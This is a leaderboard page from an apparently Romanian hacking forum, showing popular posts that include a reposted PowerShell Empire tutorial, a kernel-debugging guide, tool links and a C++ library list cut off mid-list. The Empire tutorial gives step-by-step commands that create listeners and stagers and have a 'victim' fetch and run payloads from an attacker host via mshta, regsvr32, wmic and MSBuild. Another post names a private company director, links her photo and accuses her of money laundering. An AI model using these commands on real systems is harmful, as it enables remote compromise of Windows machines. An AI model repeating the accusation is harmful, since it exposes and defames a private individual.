Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 02/04/19 in all areas

  1. Registered office address Flat 6 Addison Court, Brondesbury Road, London, United Kingdom, NW6 6AS - firma de apartament Nature of business (SIC) 79120 - Tour operator activities - nu i-a iesit treaba cu turismul Directoare - Xi Huang ( + mutra: https://i.postimg.cc/LXL0v7Dp/download.jpg ). Momentan studenta si dupa cateva internship-uri acum proprietara de firma cica, cu £100k capital. Miroase a spalare de bani si/sau o smecherie cu vizele.
    3 points
  2. Sau inspect elemement input "password" to "text"
    2 points
  3. Multiple Ways to Exploiting Windows PC using PowerShell Empire posted in Penetration Testing on February 4, 2019 by Raj Chandel SHARE This is our second post in the article series ‘PowerShell Empire’. In this article we will cover all the exploits that leads to windows exploitation with empire. To our first post on empire series, which gives a basic guide to navigate your way through empire, click here. Table of content: Exploiting through HTA Exploiting through MSBuild.exe Exploiting through regsvr32 XSL exploit Exploiting through visual basic script BAT exploit Multi_launcher exploit Exploiting through HTA This attack helps us to exploit windows through .hta. when .hta file is run via mshta.exe it executes as .exe file with similar functionality which lets us hack our way through. To know more about this attack please click here. To run type ‘./Empire’. According to the work flow, firstly, we have to create a listener to listen on our local machine. Type the following command: listeners 1 listeners After running the above command, it will say that “no listeners are currently active” but don’t worry, we are into the listener interface now. So in this listener interface, type : uselistener http set Host http://192.168.1.107 execute 1 2 3 uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type : usestager windows/hta set Listener http set OutFile /root/1.hta execute 1 2 3 4 usestager windows/hta set Listener http set OutFile /root/1.hta execute Running the above commands will create an .hta file to be used as malware. Start the python server using the following command, in order to share our .hta file: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 As the python server is up and running, type the following command in victims’ command prompt to execute our malicious file: mshta.exe http:/192.168.1.107:8080/1.hta 1 mshta.exe http:/192.168.1.107:8080/1.hta The moment above command is executed you will have your session, to access the session type : interact XDGM6HLE sysinfo 1 2 interact XDGM6HLE sysinfo Exploiting through MSBuild.exe Our next exploit is via MSBuild.exe, which will let you have a remote session of windows using XML file. To know in details about this attack please click here. And to use this exploit type: listeners uselistener http set Host http:/192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http:/192.168.1.107 execute This creates a listener, type ‘back’ to go in listener interface to create a exploit. For this, type : usestager windows/launcher_xml set Listener http execute 1 2 3 usestager windows/launcher_xml set Listener http execute Now, an .xml file is created in /tmp. Copy this file in victims’ PC (inside Microsoft.NET\Framework\v4.0.30319\) and run it typing combination of following commands: cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml 1 2 cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml So, this way you will have your session, to access the said session type : interact A8H14C7L sysinfo 1 2 interact A8H14C7L sysinfo Exploiting through regsvr32 Our next method is exploiting through regsvr32. To know in detail about this attack, do click here. As always, we have to create a listener first to listen on our local machine. Type the following command: listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now that a listener is created, type ‘back’ to go in listener interface to create an exploit. For this, type: usestager windows/launcher_sct set Listener http execute 1 2 3 usestager windows/launcher_sct set Listener http execute This will create a .sct file in /tmp. Share this file to victim’s PC using python server and then run this file in run window of victims’ PC by typing the following command: regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll 1 regsvr /u /n /s /i:http://192.168.1.107:8080/launcher.sct scrobj.dll Thus, you will have an active session. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through XSL XSL is a language will helps you format data, this also describes how web server will interact with using XML. Our next method of attack with empire is by exploiting .xsl file. For this method lets activate our listener first by typing : listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute As the listener is up and running, create your exploit : usestager windows/launcher_xsl set Listener http execute 1 2 3 usestager windows/launcher_xsl set Listener http execute This way .xsl file is created. Now run the python server from the folder where the .xsl file is created as shown in the image below : cd /tmp python -m SimpleHTTPServer 8080 1 2 cd /tmp python -m SimpleHTTPServer 8080 Now execute the following command in the command prompt of your victim: wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" 1 wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl" Running above will give a session, to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through Visual Basic script Our next method is to create a malicious VBS file and exploiting our victim through it. Like always, let’s create a listener first. listeners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listeners uselistener http set Host http://192.168.1.107 execute Now, to create our malicious .vbs file type : usestager windows/launcher_vbs set Listener http execute 1 2 3 usestager windows/launcher_vbs set Listener http execute Next step is to start the python server by typing: python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once the .vbs file is shared through python server and executed in the victim’s PC you will have you r session and just like before to access the session type : interact <session name> sysinfo 1 2 interact <session name> sysinfo Exploiting through .bat In this method, we will exploit through .bat file. Like our previous exploits, this time too, let’s create a listener. For this, type: listeners uselistener http set Host http://192.168.1.107 execute back 1 2 3 4 5 listeners uselistener http set Host http://192.168.1.107 execute back The above commands will create a listener for you. Let’s create our .bat file using following command : usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute 1 2 3 4 usestager windows/launcher_bat use Listener http set OutFile /root/1.bat execute As shown, the above commands will create a .bat file. Start up the python server by using following command to allow you share you .bat file on your victim’s pc. python -m SimpleHTTPServer 8080 1 python -m SimpleHTTPServer 8080 Once you run the .bat file, a session will activate. To access the session type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Multi_launcher This is our last method of this post. It can be used on various platforms such as windows, linux, etc. again, even for this method, create a listener: listerners uselistener http set Host http://192.168.1.107 execute 1 2 3 4 listerners uselistener http set Host http://192.168.1.107 execute Then type following commands for create your malicious file: usestager multi/launcher set listerner http execute 1 2 3 usestager multi/launcher set listerner http execute Once you hit enter after the above commands, it will give you a code. Copy this code and paste it in the command prompt of victim and hit enter. As soon as you hit enter, you will have activated a session. To access the session, type: interact <session name> sysinfo 1 2 interact <session name> sysinfo Conclusion The above were the methods that you can use to exploit windows using different vulnerabilities. Using this framework is an addition to your pentesting skills after Metasploit. Enjoy! Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here ABOUT THE AUTHOR Raj Chandel Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry Sursa: https://www.hackingarticles.in/multiple-ways-to-exploiting-windows-pc-using-powershell-empire/
    1 point
  4. Sa-i faca un oral pe furis.
    1 point
  5. Single-stepping through the Kernel Feb 3, 2019 tech linux kernel There may come a time in a system programmer’s life where she needs to leave the civilized safety of the userland and confront the unspeakable horrors that dwell in the depths of the Kernel space. While higher beings might pour scorn on the very idea of a Kernel debugger, us lesser mortals may have no other recourse but to single-step through Kernel code when the rivers begin to run dry. This guide will help you do just that. We hope you never actually have to. Ominous sounding intro-bait notwithstanding, setting up a virtual machine for Kernel debugging isn’t really that difficult. It only needs a bit of preparation. If you just want a copypasta, skip to the end. If you’re interested in the predicaments involved and how to deal with them, read on. N.B.: “But which kernel are you talking about?”, some heathens may invariably ask when it is obvious that Kernel with a capital K refers to the One True Kernel. Building the Kernel Using a minimal Kernel configuration instead of the kitchen-sink one that distributions usually ship will make life a lot easier. You will first need to grab the source code for the Kernel you are interested in. We will use the latest Kernel release tarball from kernel.org, which at the time of writing is 4.20.6. Inside the extracted source directory, invoke the following: make defconfig make kvmconfig make -j4 This will build a minimal Kernel image that can be booted in QEMU like so: qemu-system-x86_64 -kernel linux-4.20.6/arch/x86/boot/bzImage This should bring up an ancient-looking window with a cryptic error message: You could try pasting the error message into Google a search engine: Except for the fact that you can’t select the text in the window. And frankly, the window just looks annoying! So, ignoring the actual error for a moment, let’s try to get QEMU to print to the console instead of a spawning a new graphical window: qemu-system-x86_64 -kernel -nographic linux-4.20.6/arch/x86/boot/bzImage QEMU spits out a single line: qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5] Htop tells me QEMU is using 100% of a CPU and my laptop fan agrees. But there is no output whatsoever and Ctrl-c doesn’t work! What does work, however, is pressing Ctrl-a and then hitting x: QEMU: Terminated Turns out that by passing -nographic, we have plugged out QEMU’s virtual monitor. Now, to actually see any output, we need to tell the Kernel to write to a serial port: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -append "console=ttyS0" It worked! Now we can read error message in all its glory: [ 1.333008] VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6 [ 1.334024] Please append a correct "root=" boot option; here are the available partitions: [ 1.335152] 0b00 1048575 sr0 [ 1.335153] driver: sr [ 1.335996] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) [ 1.337104] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.20.6 #1 [ 1.337901] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 1.339091] Call Trace: [ 1.339437] dump_stack+0x46/0x5b [ 1.339888] panic+0xf3/0x248 [ 1.340295] mount_block_root+0x184/0x248 [ 1.340838] ? set_debug_rodata+0xc/0xc [ 1.341357] mount_root+0x121/0x13f [ 1.341837] prepare_namespace+0x130/0x166 [ 1.342378] kernel_init_freeable+0x1ed/0x1ff [ 1.342965] ? rest_init+0xb0/0xb0 [ 1.343427] kernel_init+0x5/0x100 [ 1.343888] ret_from_fork+0x35/0x40 [ 1.344526] Kernel Offset: 0x1200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 1.345956] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]--- So, the Kernel didn’t find a root filesystem to kick off the user mode and panicked. Lets fix that by creating a root filesystem image. Creating a Root Filesystem Start by creating an empty image: qemu-img create rootfs.img 1G And then format it as ext4 and mount it: mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ Now we can populate it using debootstrap: sudo debootstrap bionic mnt/ This will create a root filesystem based on Ubuntu 18.04 Bionic Beaver. Of course, feel free to replace bionic with any release that you prefer. And unmount the filesystem once we’re done. This is important if you want to avoid corrupted images! sudo umount mnt Now boot the Kernel with our filesystem. We need to tell QEMU to use our image as a virtual hard drive and we also need to tell the Kernel to use the hard drive as the root filesystem: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" This time the Kernel shouldn’t panic and you should eventually see a login prompt. We could have setup a user while creating the filesystem but it’s annoying to have to login each time we boot up the VM. Let’s enable auto login as root instead. Terminate QEMU (Ctrl-c, x), mount the filesystem image again and then create the configuration folder structure: sudo mount -o loop rootfs.img mnt/ sudo mkdir -p mnt/etc/systemd/system/serial-getty@ttyS0.service.d Add the following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf: [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle Make sure to unmount the filesystem and then boot the Kernel again. This time you should be automatically logged in. Gracefully shutdown the VM: halt -p Attaching a debugger Let’s rebuild the Kernel with debugging symbols enabled: ./scripts/config -e CONFIG_DEBUG_INFO make -j4 Now, boot the Kernel again, this time passing the -s flag which will make QEMU listen on TCP port 1234: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda console=ttyS0" -s Now, in another terminal start gdb and attach to QEMU: gdb ./linux-4.20.6/vmlinux ... Reading symbols from ./linux-4.20.6/vmlinux...done. (gdb) target remote :1234 Remote debugging using :1234 0xffffffff95a2f8f4 in ?? () (gdb) You can set a breakpoint on Kernel function, for instance do_sys_open(): (gdb) b do_sys_open Breakpoint 1 at 0xffffffff811b2720: file fs/open.c, line 1049. (gdb) c Continuing. Now try opening a file in VM which should result in do_sys_open() getting invoked… And nothing happens?! The breakpoint in gdb is not hit. This due to a Kernel security feature called KASLR. KASLR can be disabled at boot time by adding nokaslr to the Kernel command line arguments. But, let’s actually rebuild the Kernel without KASLR. While we are at it, let’s also disable loadable module support as well which will save us the trouble of copying the modules to the filesystem. ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig # Resolve dependencies make -j4 Reboot the Kernel again, attach gdb, set a breakpoint on do_sys_open() and run cat /etc/issue in the guest. This time the breakpoint should be hit. But probably not where you expected: Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96074ad428 "/etc/ld.so.cache", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7f96076b5dd0 "/lib/x86_64-linux-gnu/libc.so.6", flags=557056, mode=0) at fs/open.c:1049 1049 { (gdb) c Continuing. Breakpoint 1, do_sys_open (dfd=-100, filename=0x7ffe9e630e8e "/etc/issue", flags=32768, mode=0) at fs/open.c:1049 1049 { (gdb) Congratulations! From this point, you can single-step away to your heart’s content. By default, the root filesystem is mounted read only. If you want to be able to write to it, add rw after root=/dev/sda in the Kernel parameters: qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Bonus: Networking You can create a point to point link between the QEMU VM and the host using a TAP interface. First install tunctl and create a persistent TAP interface to avoid running QEMU as root: sudo apt install uml-utilities sudo sudo tunctl -u $(id -u) Set 'tap0' persistent and owned by uid 1000 sudo ip link set tap0 up Now launch QEMU with a virtual e1000 virtual interface connected the host’s tap0 interface: qemu-system-x86_64 -nographic -device e1000,netdev=net0 -netdev tap,id=net0,ifname=tap0 -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s Once the guest boots up, bring the network interface up: ip link set enp0s3 up ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff inet6 fe80::5054:ff:fe12:3456/64 scope link valid_lft forever preferred_lft forever QEMU and the host can now communicate using their IPv6 Link-local addresses. After all, it is 2019. Copypasta # Building a minimal debuggable Kernel make defconfig make kvmconfig ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig make -j4 # Create root filesystem mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ sudo debootstrap bionic mnt/ # Add following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf # START [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle # END # Unmount the filesystem sudo umount mnt # Boot Kernel with root file system in QEMU qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s # Attach gdb gdb ./linux-4.20.6/vmlinux (gdb) target remote :1234 Sursa: https://www.anmolsarma.in/post/single-step-kernel/
    1 point
  6. https://sibsoft.net/xvideosharing.html Ce am vazut pe la majoritatea
    1 point
  7. dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don't have any source code available. Want to say thanks? Click the star at the top of the page. Or fork dnSpy and send a PR! The following pictures show dnSpy in action. It shows dnSpy editing and debugging a .NET EXE file, not source code. Source: https://github.com/0xd4d/dnSpy
    1 point
  8. Debugger si decompilator. Are la referinte ilspy. Frumos. Ilspy a fost singurul decompilator care m-a ajutat sa rebuilduiesc .dll-uri/.exe-uri care foloseau in codul sursa tipul "dynamic": https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/types/using-type-dynamic
    1 point
  9. http://fffaraz.github.io/awesome-cpp/ https://github.com/fffaraz/awesome-cpp Awesome C++ Standard Libraries Frameworks Artificial Intelligence Asynchronous Event Loop Audio Biology BitTorrent CLI Compression Concurrency Containers Cryptography Database Debug Game Engine GUI Graphics Image Processing Internationalization Inter-process communication JSON Logging Machine Learning Math Memory Allocation Multimedia Networking PDF Physics Regular Expression Robotics Scientific Computing Scripting Serialization Sorting Video Virtual Machines Web Application Framework XML Miscellaneous Software Compiler Online Compiler Debugger Integrated Development Environment Build Systems Static Code Analysis Coding Style Tools Resources API Design Articles Books Coding Style Podcasts Talks Videos Websites Other Awesome Lists Contributing Standard Libraries C++ Standard Library - including STL Containers, STL Aglorithm, STL Functional, etc. C++ Standard Library - A collection of classes and functions, which are written in the core language and part of the C++ ISO Standard itself. Standard Template Library - The Standard Template Library (STL). C POSIX library - A specification of a C standard library for POSIX systems. ISO C++ Standards Committee - ISO/IEC JTC1/SC22/WG21 - The C++ Standards Committee. website The GNU C Library - The purpose of this manual is to tell you how to use the facilities of the GNU C Library. Frameworks C++ generic frameworks and libraries. abseil-cpp - Abseil C++ Common Libraries. [Apache2] Apache C++ Standard Library - STDCXX, A collection of algorithms, containers, iterators, and other fundamental components. [retired] [Apache2] APR - Apache Portable Runtime. Another library of cross-platform utility functions. [Apache2] ASL - Adobe Source Libraries provides peer-reviewed and portable C++ source libraries. [MIT] Boost - A large collection of generic C++ libraries. [Boost] website BDE - The BDE Development Environment from Bloomberg Labs. [Apache2] Cinder - A community-developed, free and open source library for professional-quality creative coding. [BSD] Cxxomfort - A small, header-only library that backports various facilities from more recent C++ Standards to C++03 and later. [MIT] Dlib - A general purpose cross-platform C++ library designed using contract programming and modern C++ techniques. [Boost] website EASTL - Electronic Arts Standard Template Library. [BSD] ETL - Embedded Template Library. [MIT] ffead-cpp - Framework for Enterprise Application Development. [Apache2] Folly - An open-source C++ library developed and used at Facebook. [Apache2] FunctionalPlus - Functional Programming Library for C++. Write concise and readable C++ code. [MIT] GLib - GLib provides the core application building blocks for libraries and applications written in C. [LGPL] JUCE - An all-encompassing C++ class library for developing cross-platform software. [Core-Module: ISC, Rest: GPL2/GPL3/Commercial] website libPhenom - libPhenom is an eventing framework for building high performance and high scalability systems in C. [Apache2] LibSourcey - C++11 evented IO for real-time video streaming and high performance networking applications. [LGPL] LibU - A multiplatform utility library written in C. [BSD] Loki - A C++ library of designs, containing flexible implementations of common design patterns and idioms. [MIT] MiLi - Minimal headers-only C++ Library. [Boost] OpenFrameworks - A cross platform open source toolkit for creative coding in C++. [MIT] website Qt - A cross-platform application and UI framework. [GPL/LGPL/Commercial] Reason - A cross platform framework designed to bring the ease of use of Java, .Net, or Python to developers who require the performance and strength of C++. [GPL2] ROOT - A set of OO frameworks with all the functionality needed to handle and analyze large amounts of data in a very efficient way. Used at CERN. [LGPL] STLport - An exemplary version of STL. [Free] STXXL - Standard Template Library for Extra Large Data Sets. [Boost] tbox - A glib-like multi-platform c library. [Apache2] website Ultimate++ - A C++ cross-platform rapid application development framework. [BSD] uSTL - The small STL library. [MIT] Windows Template Library - A C++ library for developing Windows applications and UI components. [Public] Yomm2 - Fast, Orthogonal, Open multi-methods. Supersedes Yomm11 [Boost] Artificial Intelligence ANNetGPGPU - A GPU (CUDA) based Artificial Neural Network library. [LGPL] btsk - Game Behavior Tree Starter Kit. [zlib] Evolving Objects - A template-based, ANSI-C++ evolutionary computation library which helps you to write your own stochastic optimization algorithms insanely fast. [LGPL] frugally-deep - Header-only library for using Keras models in C++. [MIT] Genann - Simple neural network library in C. [zlib] MXNet - Lightweight, Portable, Flexible Distributed/Mobile Deep Learning with Dynamic, Mutation-aware Dataflow Dep Scheduler; for Python, R, Julia, Scala, Go, Javascript and more website PyTorch - Tensors and Dynamic neural networks in Python with strong GPU acceleration. website Recast/Detour - (3D) Navigation mesh generator and pathfinder, mostly for games. [zlib] TensorFlow - An open source software library for numerical computation using data flow graphs [Apache] CNTK - Microsoft Cognitive Toolkit (CNTK), an open source deep-learning toolkit. [Boost] tiny-dnn - A header only, dependency-free deep learning framework in C++11. [BSD] Veles - Distributed platform for rapid Deep learning application development. [Apache] Kaldi - Toolkit for speech recognition. [Apache] Asynchronous Event Loop Asio - A cross-platform C++ library for network and low-level I/O programming that provides developers with a consistent asynchronous model using a modern C++ approach. [Boost] website Boost.Asio - A cross-platform C++ library for network and low-level I/O programming. [Boost] C++ Actor Framework - An Open Source Implementation of the Actor Model in C++. [BSD-3-Clause] website libev - A full-featured and high-performance event loop that is loosely modelled after libevent, but without its limitations and bugs. [BSD and GPL] libevent - An event notification library. [BSD] libuv - Cross-platform asychronous I/O. [BSD] uvw - C++ wrapper for libuv. [MIT] Audio Audio, Sound, Music, Digitized Voice Libraries FMOD - An easy to use crossplatform audio engine and audio content creation tool for games. [Free for non-commercial/Commercial] KFR - Fast, modern C++ DSP framework, FFT, FIR/IIR filters, Sample Rate Conversion. [GPL/Commercial] Maximilian - C++ Audio and Music DSP Library. [MIT] mini_al - Single file audio playback and capture library. [Unlicense] OpenAL - Open Audio Library - A crossplatform audio API. [BSD/LGPL/Commercial] Opus - A totally open, royalty-free, highly versatile audio codec. [BSD] SELA - SimplE Lossless Audio. [MIT] SoLoud - Easy, portable audio engine for games. [zlib] Speex - A free codec for free speech. Obsoleted by Opus. [BSD] Tonic - Easy and efficient audio synthesis in C++. [Unlicense] Vorbis - Ogg Vorbis is a fully open, non-proprietary, patent-and-royalty-free, general-purpose compressed audio format. [BSD] minimp3 - Public domain, header-only MP3 decoder with clean-room implementation. [CC0] Wav2Letter++ - Public domain, a fast open source speech processing toolkit written entirely in C++ and uses the ArrayFire tensor library and the flashlight machine learning library for maximum efficiency [BSD] Biology Bioinformatics, Genomics, Biotech BioC++ - C++ Computational Libraries for Bioinformatics. [BSD] Chaste - An open source C++ library for the computational simulation of mathematical models developed for physiology and biology. [BSD] libsequence - A C++ library for representing and analyzing population genetics data. [GPL] SeqAn - Algorithms and data structures for the analysis of sequences with the focus on biological data. [BSD/3-clause] Vcflib - A C++ library for parsing and manipulating VCF files. [MIT] Wham - Structural variants (SVs) in Genomes by directly applying association tests to BAM files. [MIT] BitTorrent jech/dht - BitTorrent DHT library in C. [MIT] libtorrent (a.k.a. libtorrent-rasterbar) - An efficient feature complete C++ bittorrent implementation. [BSD] LibTorrent (a.k.a. libtorrent-rakshasa) - BitTorrent library. [GPL] libutp - uTorrent Transport Protocol library. [MIT] CLI Console/Terminal User Interface, Command Line Interface Argh! - A minimalist, frustration-free, header-only argument handler. [BSD] Taywee/args - A simple header-only C++ argument parser library. [MIT] Boost.Program_options - A library to obtain program options via conventional methods such as command line and config file. [Boost] CLI11 - Header only single or multi-file C++11 library for simple and advanced CLI parsing. [BSD] jarro2783/cxxopts - Lightweight C++ command line option parser. [MIT] docopt.cpp - A library to generate option parser from docstring. [MIT/Boost] gflags - Commandline flags module for C++. [BSD] linenoise - A small self-contained alternative to readline and libedit. [BSD-2-Clause] linenoise-ng - A small, portable GNU readline replacement for Linux, Windows and MacOS which is capable of handling UTF-8 characters. [BSD] Ncurses - A terminal user interfaces. [MIT] PDCurses - Public domain curses library with both source code and pre-compiled library available. [PublicDomain] replxx - A readline and libedit replacement that supports UTF-8, syntax highlighting, hints, works on Unix and Windows. [BSD] TCLAP - A mature, stable and feature-rich library for defining and accessing command line arguments in ANSI C++. [MIT] termbox - A C library for writing text-based user interfaces. [MIT] Compression Compression and Archiving Libraries Brotli - Brotli compression format. Developed by Google. [MIT] bzip2 - A freely available, patent free, high-quality data compressor. [BSD] FiniteStateEntropy - New generation entropy codecs : Finite State Entropy and Huff0. PhysicsFS - A library to provide abstract access to various archives. It is intended for use in video games, and the design was somewhat inspired by Quake 3's file subsystem. [zlib] KArchive - A library for creating, reading, writing and manipulating file archives like zip and tar. It also provides transparent compression and decompression of data, using formats like gzip, via a subclass of QIODevice. [LGPL] libarchive - Multi-format archive and compression library. [New BSD] website LZ4 - Extremely Fast Compression algorithm. [BSD] LZFSE - LZFSE compression library and command line tool. Developed by Apple. LZHAM - Lossless data compression library with a compression ratio similar to LZMA but with much faster decompression. [BSD] LZMA - The default and general compression method of 7z format. [PublicDomain] LZMAT - An extremely fast real-time lossless data compression library. [GPL] miniz - Single C source file Deflate/Inflate compression library with zlib-compatible API, ZIP archive reading/writing, PNG writing. [Unlicense] Minizip - Zlib with latest bug fixes that supports PKWARE disk spanning, AES encryption, and IO buffering. [zlib] smaz - Small strings compression library. [BSD] Snappy - A fast compressor/decompressor. [BSD] ZLib - A very compact compression library for data streams. [zlib] zlib-ng - zlib for the "next generation" systems. Drop-In replacement with some serious optimizations. [zlib] zstd - Zstandard - Fast real-time compression algorithm. Developed by Facebook. [BSD] ZZIPlib - Provides read access on ZIP-archives. [MPL/LGPL] Concurrency Concurrency and Multithreading alpaka - Abstraction library for parallel kernel acceleration. [LGPLv3+] ArrayFire - A general purpose GPU library. [BSD] Async++ - A lightweight concurrency framework for C++11, inspired by the Microsoft PPL library and the N3428 C++ standard proposal. [MIT] Boost.Compute - A C++ GPU Computing Library for OpenCL. [Boost] Bolt - A C++ template library optimized for GPUs. [Apache2] ck - Concurrency primitives, safe memory reclamation mechanisms and non-blocking data structures. [BSD] concurrentqueue - A fast multi-producer, multi-consumer lock-free concurrent queue for C++11. [BSD,Boost] Cpp-Taskflow - Fast C++ Parallel Programming with Task Dependencies. [MIT] CUB - CUB provides state-of-the-art, reusable software components for every layer of the CUDA programming mode. [New BSD] cupla - C++ API to run CUDA/C++ on OpenMP, Threads, TBB, ... through Alpaka. [LGPLv3+] C++React - A reactive programming library for C++11. [Boost] Intel Parallel STL - Intel® implementation of C++17 STL for C++11 and above. [Apache2] Intel TBB - Intel® Threading Building Blocks. [Apache2] junction - A library of concurrent data structures in C++. [BSD] libcds - A C++ library of Concurrent Data Structures. [BSD] Libclsph - An OpenCL based GPU accelerated SPH fluid simulation library. [MIT] libdill - Introduces structured concurrency in C. [MIT] libdispatch - Grand Central Dispatch (GCD), developed by Apple Inc., is a task parallelism technology based on the thread pool pattern. libdispatch is a library that provides the implementation of GCD's services. [Apache-2.0] website libmill - Introduces Go-style concurrency in C. [MIT] moderngpu - moderngpu is a productivity library for general-purpose computing on GPUs. It is a header-only C++ library written for CUDA. The unique value of the library is in its accelerated primitives for solving irregularly parallel problems. [FreeBSD & Copyright, Sean Baxter] NCCL - Optimized primitives for collective multi-GPU communication. [BSD] OpenCL - The open standard for parallel programming of heterogeneous systems. OpenMP - The OpenMP API. RaftLib - The RaftLib C++ library, streaming/dataflow concurrency via C++ iostream-like operators [Apache2] readerwriterqueue - A fast single-producer, single-consumer lock-free queue for C++. [BSD] Thrust - A parallel algorithms library which resembles the C++ Standard Template Library (STL). [Apache2] transwarp - A header-only C++ library for task concurrency. [MIT] HPX - A general purpose C++ runtime system for parallel and distributed applications of any scale. [Boost] VexCL - A C++ vector expression template library for OpenCL/CUDA. [MIT] Containers C++ B-tree - A template library that implements ordered in-memory containers based on a B-tree data structure. [Apache2] Colony - An unordered "bag"-type container which outperforms std containers in high-modification scenarios while maintaining permanent pointers to non-erased elements regardless of insertion/erasure. [zLib] website Hashmaps - Implementation of open addressing hash table algorithms in C++. [MIT] Hopscotch map - A fast header-only hash map which uses hopscotch hashing for collisions resolution. [MIT] LSHBOX - A c++ toolbox of locality-sensitive hashing (LSH), provides several popular LSH algorithms, also support Python and MATLAB. [GPL] plf::list - A std::list implementation which removes range splicing in order to enable cache-friendlier structure, yielding significant performance gains. [zLib] website plf::stack - A replacement container for the std::stack container adaptor, with better performance than any std container in a stack context. [zLib] website ringspan lite - A simplified implementation of Arthur O'Dwyer's ringspan implementation ie. a circular buffer view. [MIT] sparsepp - A fast, memory efficient hash map for C++. [BSD 3-clause] Cryptography Cryptography and Encryption Libraries Bcrypt - A cross platform file encryption utility. Encrypted files are portable across all supported operating systems and processors. [BSD] BeeCrypt - A portable and fast cryptography library. [LGPLv2.1+] Botan - A crypto library for C++. [BSD-2] Crypto++ - A free C++ class library of cryptographic schemes. [Boost] website digestpp - C++11 header-only message digest (hash) library. [PublicDomain] GnuPG - A complete and free implementation of the OpenPGP standard. [GPL] GnuTLS - A secure communications library implementing the SSL, TLS and DTLS protocols. [LGPL2.1] Libgcrypt - A general purpose cryptographic library originally based on code from GnuPG. [LGPLv2.1+] libhydrogen - A lightweight, secure, easy-to-use crypto library for constrained environments. [ISC] LibreSSL - A free version of the SSL/TLS protocol forked from OpenSSL in 2014. [?] libsodium - P(ortable|ackageable) NaCl-based crypto library, opinionated and easy to use. [ISC] libhydrogen - A lightweight, secure, easy-to-use crypto library suitable for constrained environments. [ISC] LibTomCrypt - A fairly comprehensive, modular and portable cryptographic toolkit. [WTFPL] mbedTLS - An open source, portable, easy to use, readable and flexible SSL library, previously known as PolarSSL. [Apache2] website Nettle - A low-level cryptographic library. [LGPL] OpenSSL - A robust, commercial-grade, full-featured, and Open Source cryptography library. [Apache] website retter - A collection of hash functions, ciphers, tools, libraries, and materials related to cryptography. s2n - An implementation of the TLS/SSL protocols. [Apache] sha1collisiondetection - Library and command line tool to detect SHA-1 collision in a file. [MIT] Tink - A multi-language, cross-platform library that provides cryptographic APIs that are secure, easy to use correctly, and hard(er) to misuse. [Apache-2.0] Tiny AES in C - Small portable AES128/192/256 in C. [PublicDomain] Themis - crypto library for painless data security, providing symmetric and asymmetric encryption, secure sockets with forward secrecy, for mobile and server platforms. [Apache2] Database Database Libraries, SQL Servers, 